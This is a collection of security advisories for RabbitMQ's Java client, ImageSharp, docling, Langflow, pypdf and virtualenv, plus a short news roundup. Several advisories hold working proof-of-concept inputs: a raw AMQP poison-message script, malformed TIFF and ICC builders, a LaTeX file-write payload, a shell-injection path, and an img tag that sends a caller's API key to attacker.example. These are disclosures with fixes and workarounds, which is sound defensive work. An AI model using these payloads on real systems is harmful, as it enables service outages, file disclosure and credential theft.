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### Summary A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel. The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue. In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone. ### Details `ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75 `ValueWriter.writeShortstr` then rejects the result with an unchecked exception: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56 So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected. Two consumption paths are impacted: 1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two. In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue. A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag. ### PoC Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.** 1. Start a broker: ```bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq ``` 2. Publish a message whose `correlation-id` is 255 × `0xFF`: ```python import socket, struct def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a QUEUE = "rpc.poison" s = socket.create_connection(("127.0.0.1", 5672), timeout=10) def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:] s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("en_US")))) cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11) s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison")) # close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE) ``` 3. Run a consumer using the tutorial pattern against `rpc.poison`: ```java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder(

### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. ### Details [`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count `5000000000`. There are no bytes for an entry. Run the supplied container under a five-second timeout. Complete observed output: ```text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124 ``` `timeout` exit code 124 means the decoder had not returned after five seconds. The control is identical except the entry count is `1`: ```text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0 ``` The control rejects malformed input promptly; it does not time out. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; } private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >

### Summary When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with more than four output channels can corrupt memory during ImageSharp color conversion. The ICC parser accepts up to 15 CLUT output channels, while the conversion implementation stores intermediate values in `Vector4`. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected published releases: **4.0.0, 4.1.0, and 4.1.1** - Affected range: `>= 4.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The reproduced `ColorProfileHandling.Convert` path and the unsafe `Vector4` LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three. ### Details `IccClut` accepts one through fifteen input and output channels. In the reproduced `A2B0` LUT16 path, an attacker-controlled profile declares three input channels and fifteen output channels. [`ClutCalculator.Calculate`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/ClutCalculator.cs#L66-L87) passes a pointer to a four-float `Vector4` result into interpolation code that writes one float per declared output channel. It consequently writes fifteen floats. The same LUT16 tag also has fifteen output LUTs; their [`LutEntryCalculator.CalculateLut`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/LutEntryCalculator.cs#L49-L58) implementation uses `Unsafe.Add` from the first float of a four-float `Vector4`. An application reaches this code by decoding an image containing the profile with `DecoderOptions.ColorProfileHandling` set to `Convert`. `Preserve` is the default and does not run ICC conversion. ### Reproduction environment and result The supplied exploit and control were run against the published NuGet 4.1.1 `net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and .NET runtime 8.0.30. The control changes only the declared output-channel count from fifteen to three and completes successfully. The exploit terminates with exit status 139 before it reaches the completion marker. This runtime PoC establishes memory corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which unsafe write first corrupts the stack. The full self-contained Docker PoC is included below. Complete control output: ```text mode=control output_channels=3 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f png_bytes=204 decode_completed Docker exit status: 0 ``` Complete exploit output: ```text mode=exploit output_channels=15 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f png_bytes=207 Docker exit status: 139 ``` No active exploitation is known. ### Impact Applications that enable ICC conversion while processing attacker-supplied images can be made to terminate through memory corruption in the reproduced LUT16 CLUT/output-LUT path. This report is limited to output-channel counts greater than four in that path; it does not claim a TRC issue or other unreproduced ICC paths. ### Complete PoC files Program.cs: ```csharp using System; using System.Buffers.Binary; using System.IO; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Metadata.Profiles.Icc; using SixLabors.ImageSharp.PixelFormats; static class Program { private static void U32(Stream stream, uint value) { Span<byte> bytes = stackalloc byte[4]; BinaryPrimitives.WriteUInt32BigEndian(bytes, value); stream.Write(bytes); } private static void U16(Stream stream, ushort value) { Span<byte> bytes = stackalloc byte[2]; BinaryPrimitives.WriteUInt16BigEndian(bytes, value); stream.Write(bytes); } private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D))); // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4. private static byte[] BuildIcc(int outCh) { const int inCh = 3; const int clutPoints = 2; const int tableEntries = 2; using var stream = new MemoryStream(); byte[] header = new byte[128]; BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3 Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16); Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20); stream.Write(header);

### Summary docling accepts serialized `DoclingDocument` JSON as an input format (`InputFormat.JSON_DOCLING`, enabled by default). A crafted JSON file can set a picture's image `uri` to a local file path. When the converted document is exported with embedded images (`ImageRefMode.EMBEDDED`, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output. ### Details `docling/backend/json/docling_json_backend.py` validates the JSON into a `DoclingDocument` without checking image references. The file is then read by docling-core: - `DoclingDocument._with_embedded_pictures` opens `file://` and plain-path URIs with PIL. - `ImageRef.pil_image` checks `allow_image_file_uri` for `file://` URIs but not for plain `Path` values. docling's picture enrichment models load images through this property. Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists. ### Impact Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists. ### Proof of concept ```python from pathlib import Path from docling_core.types.doc import DoclingDocument, ImageRef from docling_core.types.doc.base import Size doc = DoclingDocument(name="poc") doc.add_picture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1), uri=Path("/srv/uploads/other-user/scan.png"))) doc.save_as_json("poc.json") ``` `docling poc.json --to md` embeds the referenced PNG as base64 in `poc.md`. ### Patches Fixed in docling 2.131.0 by [#4417](https://github.com/docling-project/docling/pull/4417). The Docling JSON backend now drops image references that point at local files (paths, `file:` URIs and any scheme other than `data:` and `http(s)`) and logs a warning. Callers that need to load local images from JSON they trust can opt in with `DoclingJSONFormatOption(backend_options=DeclarativeBackendOptions(enable_local_fetch=True))`; the CLI has no such option. Code that loads untrusted JSON directly with docling-core (`DoclingDocument.load_from_json`) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core. ### Workarounds Upgrade to 2.131.0. For older versions: - Remove `InputFormat.JSON_DOCLING` from `allowed_formats` when converting untrusted input. - Export with `ImageRefMode.PLACEHOLDER` or `ImageRefMode.REFERENCED` instead of `EMBEDDED`.

### Summary `allow_external_plugins=False` (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's `load_setuptools_entrypoints()`, which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the `docling.` namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled. ### Details In `docling/models/factories/base_factory.py`, `load_from_plugins()` loads all entry points first and applies the `allow_external_plugins` check only to the already-imported modules. The CLI creates these factories when it starts, so running `docling` imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported. ### Affected configurations Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on `allow_external_plugins=False` to keep that code from running. ### Impact Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of `allow_external_plugins=False`. ### Patches Fixed in docling 2.131.0 by [#4413](https://github.com/docling-project/docling/pull/4413). Plugin entry points are now filtered by module name before they are loaded, so with `allow_external_plugins=False` third-party plugin modules are no longer imported. ### Workarounds Upgrade to 2.131.0. For older versions: Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with `importlib.metadata.entry_points()`.

### Summary When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (`LatexBackendOptions(tikz_engine="tectonic")`), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted `.tex` file can read files the process can read and write files at paths the process can write. If the caller also sets `tikz_engine_allow_shell_escape=True`, the document can run shell commands through `\write18`. ### Details `docling/backend/latex/engines/tectonic.py` writes the picture source into a temporary document and runs the `tectonic` binary on it. `_resolve_local_dependency` only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so: - `\input{/abs/path}`, `\verbatiminput{...}` and `\openin` read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory `DocumentStream`, staging is skipped entirely. - `\immediate\openout` / `\write` create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's `--untrusted` flag does not block them either. Separately, the `TectonicEngine` constructor defaults to `allow_shell_escape=True`. The LaTeX backend always passes `tikz_engine_allow_shell_escape` explicitly (default `False`), so this default only affects code that instantiates `TectonicEngine` directly. ### Affected configurations - Affected: callers that set `tikz_engine="tectonic"`, have a `tectonic` binary available (on `PATH` or in the docling cache), and convert untrusted LaTeX. - Not affected: the default configuration (`tikz_engine=None`). docling does not install `tectonic` automatically, and the CLI exposes no option to enable it. ### Impact Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly. ### Proof of concept ```latex \documentclass{article} \usepackage{tikz} \begin{document} \begin{tikzpicture} \immediate\openout15=/tmp/docling-tectonic-poc.txt \immediate\write15{written by the input document} \immediate\closeout15 \node {x}; \end{tikzpicture} \end{document} ``` Converting this file with `LatexBackendOptions(tikz_engine="tectonic")` creates `/tmp/docling-tectonic-poc.txt`. ### Patches Mitigated in docling 2.132.0 by [#4419](https://github.com/docling-project/docling/pull/4419): - `TectonicEngine` now defaults to `allow_shell_escape=False`, and without shell escape Tectonic runs with `--untrusted` and `--only-cached`. - Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the `\openin`, `\openout`, `\XeTeXpicfile` or `\XeTeXpdffile` primitives, or names an absolute, home, drive-letter or parent-directory path in `\input`, `\include`, `\includegraphics`, `\InputIfFileExists` or `\graphicspath`. This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the [pipeline options reference](https://github.com/docling-project/docling/blob/main/docs/reference/pipeline_options.md), untrusted LaTeX rendered with `tikz_engine="tectonic"` should still be processed in an isolated environment. ### Workarounds Upgrade to 2.132.0. For older versions: - Do not enable `tikz_engine="tectonic"` for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network). - Never set `tikz_engine_allow_shell_escape=True` for untrusted input.

### Summary `HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials. ### Details `docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects. ### Affected configurations - Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML. - Not affected: the default configuration. ### Impact Disclosure of the configured request headers, typically credentials, to a host chosen by the document author. ### Proof of concept ```html <img src="https://attacker.example/pixel.png"> ``` Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`. Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c. ### Patches Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document. ### Workarounds Upgrade to 2.132.0. For older versions: Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

### Summary Before **Langflow 1.10.1**, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path: - `POST /api/v1/build/{flow_id}/vertices` (`retrieve_vertices_order`) - `POST /api/v1/build/{flow_id}/vertices/{vertex_id}` (`build_vertex`) Any authenticated user who knows (or obtains) another user's `flow_id` could load that user's private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response. Both routes are declared with `deprecated=True, include_in_schema=False`, so they do not appear in the OpenAPI docs, but they remained registered on the router. The Langflow UI no longer calls them (it uses `POST /api/v1/build/{flow_id}/flow`), so they are only reachable by direct HTTP requests. The issue is fixed in **Langflow 1.10.1** (`langflow-base` 0.10.1) by [#13153](https://github.com/langflow-ai/langflow/pull/13153). ### Details In affected versions, both handlers go straight to the graph loader: - `retrieve_vertices_order` (`src/backend/base/langflow/api/v1/chat.py`, lines 81-159 in 1.9.1) only required authentication via `dependencies=[Depends(get_current_active_user)]`. The user was never injected into the handler, and the flow was loaded with `build_graph_from_db(flow_id=flow_id, ...)`. - `build_vertex` (`chat.py`, lines 320-491 in 1.9.1) receives `current_user`, but only uses it for variable resolution (`user_id=str(current_user.id)`). It is never used to scope the flow lookup. The graph is taken from the chat-service cache keyed by `flow_id`, or rebuilt with `build_graph_from_db` on a cache miss. - `build_graph_from_db_no_cache` (`src/backend/base/langflow/api/utils/flow_utils.py`) does a bare primary-key lookup, `session.get(Flow, flow_id)`, with no owner filter. The supported replacement, `POST /api/v1/build/{flow_id}/flow`, already restricted the lookup to the owner or a `PUBLIC` flow (added in #12305 for GHSA-qj98-rhf8-v93f). The deprecated siblings were not covered by that fix, nor by the `_read_flow` fix for GHSA-8c4j-f57c-35cf. Additional side effects in affected versions: - `retrieve_vertices_order` stores the graph in the chat-service cache under the victim's `flow_id` (`chat_service.set_cache(str(flow_id), graph)`). When the request includes a `data` body, the cached graph is attacker-supplied. - `build_vertex` schedules `log_vertex_build` for the victim's `flow_id`, so attacker-triggered builds are recorded in the victim flow's vertex build history. Note on older versions: up to and including **1.7.1**, these two routes had no authentication dependency at all. Authentication was added in 1.7.2 by #10977, but no ownership check was added. This advisory covers the missing ownership check, which is present in every release from 1.0.0 (when the routes were introduced) through 1.10.0. ### Attack scenario 1. The attacker authenticates as any valid user. 2. The attacker obtains a victim `flow_id` (shared URLs, exported flow files, logs, screenshots, etc.). 3. `POST /api/v1/build/{victim_flow_id}/vertices` returns **200 OK** with `{"ids": [...], "run_id": "...", "vertices_to_run": [...]}` listing the victim flow's vertex IDs (component type plus suffix, e.g. `ChatInput-abc12`). 4. The attacker calls `POST /api/v1/build/{victim_flow_id}/vertices/{vertex_id}` for a returned ID. The victim's graph is loaded and the vertex is built. Its results, outputs and artifacts are returned to the attacker. ### Impact - **Confidentiality (Low):** Discloses the structure of private flows (vertex IDs and component types) and the outputs of vertices the attacker chooses to build. That includes values hardcoded in node configuration, such as prompt text or fixed inputs. - Global variables and credentials in the variable store are **not** exposed, because variable resolution uses the caller's `user_id`. - The victim's stored flow definition is not returned wholesale. - **Integrity (Low):** The attacker can trigger execution of the victim's nodes, including any side effects baked into their configuration (fixed endpoints, webhooks, hardcoded API keys). Build records are written under the victim's `flow_id`. The attacker cannot modify the stored flow. - **Availability:** None. The attacker must be authenticated and must know the target flow UUID. Flow UUIDs are random v4 values, so blind enumeration is not practical. ### Proof of concept Observed on `langflow==1.9.1` using the project's test client and in-memory SQLite fixtures (see the attached `poc.zip`): | Request | Expected (hardened) | Observed on 1.9.1 | |---|---|---| | Attacker → `POST /api/v1/build/{victim_flow_id}/vertices` | `404 Not Found` | `200 OK` with vertex order payload | | Attacker → `POST /api/v1/build/{victim_flow_id}/vertices/<bogus-id>` | `404 Not Found` | `500` `{"detail":"Vertex <id> not found"}`: the victim graph was loaded before the vertex lookup failed | | Owner (

This report summarizes multiple cybersecurity developments including a set of iCloud email spoofing vulnerabilities, phishing campaigns targeting AI policy experts, a Chrome adblocker extension spying on AI chat conversations, and a large batch of vulnerabilities patched by Kiteworks. The iCloud spoofing bugs allowed attackers to send emails from arbitrary icloud.com addresses that passed SPF, DKIM, and DMARC checks due to inconsistent mail header parsing. The phishing campaigns involved a China-aligned group using fake AI advisory committee invitations to steal credentials via an adversary-in-the-middle proxy. The Poper Blocker Chrome extension was found to collect users' browsing history and AI chat conversations stealthily. Kiteworks patched over 100 vulnerabilities, including critical bugs that could lead to account takeover and code execution. Additional highlights include AI-assisted discovery of Android app flaws and a Cloudflare Containers data leakage vulnerability that was patched. No active exploits in the wild were reported for these issues.

### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires accessing the page labels of a document with large Roman numerals. ### Patches This has been fixed in [pypdf==6.17.0](https://github.com/py-pdf/pypdf/releases/tag/6.17.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4047](https://github.com/py-pdf/pypdf/pull/4047).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires reading a PDF document with long indirect object headers, not terminated by whitespace. ### Patches This has been fixed in [pypdf==6.18.0](https://github.com/py-pdf/pypdf/releases/tag/6.18.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4055](https://github.com/py-pdf/pypdf/pull/4055).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires parsing the `/ToUnicode` entry of a font with unusually large values, for example during text extraction. ### Patches This has been fixed in [pypdf==6.18.1](https://github.com/py-pdf/pypdf/releases/tag/6.18.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4071](https://github.com/py-pdf/pypdf/pull/4071).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires parsing the `/Widths` entry of a TrueType or Type1 fonts with unusually large values, for example during text extraction. ### Patches This has been fixed in [pypdf==6.18.1](https://github.com/py-pdf/pypdf/releases/tag/6.18.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4072](https://github.com/py-pdf/pypdf/pull/4072).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a partially malformed `/FlateDecode` stream, where the byte-by-byte decompression is used. ### Patches This has been fixed in [pypdf==6.18.1](https://github.com/py-pdf/pypdf/releases/tag/6.18.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4073](https://github.com/py-pdf/pypdf/pull/4073).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires updating form field values with flattening enabled, which triggers appearance stream generation. ### Patches This has been fixed in [pypdf==6.19.0](https://github.com/py-pdf/pypdf/releases/tag/6.19.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4087](https://github.com/py-pdf/pypdf/pull/4087).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing the embedded files through the dictionary-based API. ### Patches This has been fixed in [pypdf==6.19.0](https://github.com/py-pdf/pypdf/releases/tag/6.19.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4081](https://github.com/py-pdf/pypdf/pull/4081).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires accessing the page labels of a document with large alphabetical labels. ### Patches This has been fixed in [pypdf==6.19.0](https://github.com/py-pdf/pypdf/releases/tag/6.19.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4096](https://github.com/py-pdf/pypdf/pull/4096).

`download_wheel()` runs `pip download` and hands the result straight to the seeder, with nothing checking the bytes it gets back. The embedded pip and setuptools wheels carry a `BUNDLE_SHA256` that virtualenv checks on every load, but a wheel fetched over the network for the periodic-update feature or the `--download` flag had no equivalent verification. A compromised index, a stale mirror, or a MITM'd download (when TLS is intercepted, e.g. via a misconfigured or malicious CA) could substitute a different wheel under the same distribution/version/filename, and virtualenv would cache and seed it into every environment created afterward with no warning. Fixed by computing the downloaded wheel's sha256 and comparing it against the digest PyPI's public JSON API reports for that exact release, independent of which index actually served the file. The check is skipped, not treated as failure, when a custom index (`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, `PIP_INDEX`) is configured, since a private index can legitimately serve a different, intentionally rebuilt wheel. Fix: https://github.com/pypa/virtualenv/pull/3251

### Impact The generated `activate` (bash/zsh) and `activate.fish` scripts interpolate a `shlex.quote`-ed value into a position that quotes it a second time. The extra quotes terminate the quoted run early and leave part of the value parsed as shell code, so a path containing shell metacharacters runs commands when a user sources the activation script. `activate` is affected through the virtual environment's own path, on the branch that reports a relocated environment: ```sh echo "Virtual environment directory __VIRTUAL_ENV__ does not exist!" >&2 ``` For a destination named `x'$(id)'y`, `shlex.quote` emits `'x'"'"'$(id)'"'"'y'`. The inner `"` closes the enclosing double quote and `$(id)` is left unquoted. Backtick and `;` payloads reach the same result. This branch runs whenever the recorded path is absent, which is the normal case for a virtual environment copied or distributed to another machine. `activate.fish` is affected through the interpreter's Tcl/Tk library paths: ```fish set -gx TCL_LIBRARY '__TCL_LIBRARY__' ``` `shlex.quote` already returns `'/tcl/(cmd)/lib'`, so the rendered line is `''/tcl/(cmd)/lib''`. fish concatenates the adjacent quoted runs and expands the `(cmd)` left between them. The same doubling also splits a path containing a space into two list elements, corrupting `TCL_LIBRARY` and `TK_LIBRARY`. This is the same defect class as GHSA-x78j-v8h9-3j2q, which covered `activate.bat`. ### Patches Fixed in 21.7.13 by moving the placeholders outside the surrounding quotes, so each value keeps only the quoting `shlex.quote` applied. Fix: https://github.com/pypa/virtualenv/pull/3252 ### Workarounds Avoid creating or distributing virtual environments whose path contains `'`, `` ` ``, `$`, `;`, `(` or `)`, and inspect the generated activation script before sourcing one you did not create.

